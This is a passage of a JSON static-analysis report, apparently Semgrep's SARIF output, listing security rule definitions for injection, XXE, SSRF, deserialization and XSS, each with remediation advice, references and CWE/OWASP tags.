Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.file-disclosure.file-disclosure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks.  These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead  the Python documentation recommends using `defusedxml`."},"help":{"markdown":"The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks.  These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead  the Python documentation recommends using `defusedxml`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.use-defused-xml-parse.use-defused-xml-parse)\n - [https://docs.python.org/3/library/xml.html](https://docs.python.org/3/library/xml.html)\n - [https://github.com/tiran/defusedxml](https://github.com/tiran/defusedxml)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks.  These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead  the Python documentation recommends using `defusedxml`."},"helpUri":"https://semgrep.dev/r/python.lang.security.use-defused-xml-parse.use-defused-xml-parse","id":"python.lang.security.use-defused-xml-parse.use-defused-xml-parse","name":"python.lang.security.use-defused-xml-parse.use-defused-xml-parse","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.use-defused-xml-parse.use-defused-xml-parse"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection)\n - [https://www.npmjs.com/package/wkhtmltopdf](https://www.npmjs.com/package/wkhtmltopdf)\n","text":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection","id":"javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection","name":"javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.nosql.mongodb-taint.mongodb-taint)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/rust.hyper.nosql.mongodb-taint.mongodb-taint","id":"rust.hyper.nosql.mongodb-taint.mongodb-taint","name":"rust.hyper.nosql.mongodb-taint.mongodb-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.nosql.mongodb-taint.mongodb-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk."},"help":{"markdown":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk."},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools","id":"javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools","name":"javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Insecure transport rules to catch socket connections to http, telnet, and ftp servers. This is dangerous because these are protocols that do not encrypt traffic."},"help":{"markdown":"Insecure transport rules to catch socket connections to http, telnet, and ftp servers. This is dangerous because these are protocols that do not encrypt traffic.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request)\n - [https://docs.oracle.com/javase/8/docs/api/java/net/Socket.html](https://docs.oracle.com/javase/8/docs/api/java/net/Socket.html)\n","text":"Insecure transport rules to catch socket connections to http, telnet, and ftp servers. This is dangerous because these are protocols that do not encrypt traffic."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request","id":"problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request","name":"problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure EBS Snapshot is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure EBS Snapshot is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure EBS Snapshot is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk","id":"terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk","name":"terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.peewee-django.peewee-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"helpUri":"https://semgrep.dev/r/python.django.db.peewee-django.peewee-django","id":"python.django.db.peewee-django.peewee-django","name":"python.django.db.peewee-django.peewee-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.peewee-django.peewee-django"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi","id":"python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi","name":"python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a formatted template string passed to 'template. HTMLAttr()'. 'template.HTMLAttr()' does not escape contents. Be absolutely sure there is no user-controlled data in this template or validate and sanitize the data before passing it into the template."},"help":{"markdown":"Found a formatted template string passed to 'template. HTMLAttr()'. 'template.HTMLAttr()' does not escape contents. Be absolutely sure there is no user-controlled data in this template or validate and sanitize the data before passing it into the template.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr)\n - [https://golang.org/pkg/html/template/#HTMLAttr](https://golang.org/pkg/html/template/#HTMLAttr)\n","text":"Found a formatted template string passed to 'template. HTMLAttr()'. 'template.HTMLAttr()' does not escape contents. Be absolutely sure there is no user-controlled data in this template or validate and sanitize the data before passing it into the template."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr","id":"go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr","name":"go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The identified XML parser permits the use of external Document Type Definitions (DTDs). This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The identified XML parser permits the use of external Document Type Definitions (DTDs). This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The identified XML parser permits the use of external Document Type Definitions (DTDs). This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe","id":"java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe","name":"java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default","id":"python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default","name":"python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Parameter \"from\" is checked at incorrect position in \"_allowances\" mapping"},"help":{"markdown":"Parameter \"from\" is checked at incorrect position in \"_allowances\" mapping\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug)\n - [https://twitter.com/Mauricio_0218/status/1490082073096462340](https://twitter.com/Mauricio_0218/status/1490082073096462340)\n - [https://etherscan.io/address/0xe38b72d6595fd3885d1d2f770aa23e94757f91a1](https://etherscan.io/address/0xe38b72d6595fd3885d1d2f770aa23e94757f91a1)\n","text":"Parameter \"from\" is checked at incorrect position in \"_allowances\" mapping"},"helpUri":"https://semgrep.dev/r/solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug","id":"solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug","name":"solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug","properties":{"precision":"very-high","tags":["CWE-688: Function Call With Incorrect Variable or Reference as Argument","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-json-django.tainted-json-django)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-json-django.tainted-json-django","id":"python.django.deserialization.tainted-json-django.tainted-json-django","name":"python.django.deserialization.tainted-json-django.tainted-json-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-json-django.tainted-json-django"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize."},"help":{"markdown":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods)\n - [https://docs.angularjs.org/api/ng/function/angular.element](https://docs.angularjs.org/api/ng/function/angular.element)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods","id":"javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods","name":"javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a segment of a Flask template where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability, or turn autoescape on."},"help":{"markdown":"Detected a segment of a Flask template where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability, or turn autoescape on.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off)\n - [https://flask.palletsprojects.com/en/1.1.x/templating/#controlling-autoescaping](https://flask.palletsprojects.com/en/1.1.x/templating/#controlling-autoescaping)\n - [https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup](https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup)\n","text":"Detected a segment of a Flask template where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability, or turn autoescape on."},"helpUri":"https://semgrep.dev/r/python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off","id":"python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off","name":"python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A wide-string is used in an API that should consume byte-string (narrow string). This can trigger an out-of-bounds read."},"help":{"markdown":"A wide-string is used in an API that should consume byte-string (narrow string). This can trigger an out-of-bounds read.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.wide-to-narrow-string-mismatch.wide-to-narrow-string-mismatch)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR38-C.+Do+not+confuse+narrow+and+wide+character+strings+and+functions](https://wiki.sei.cmu.edu/confluence/display/c/STR38-C.+Do+not+confuse+narrow+and+wide+character+strings+and+functions)\n","text":"A wide-string is used in an API that should consume byte-string (narrow string). This can trigger an out-of-bounds 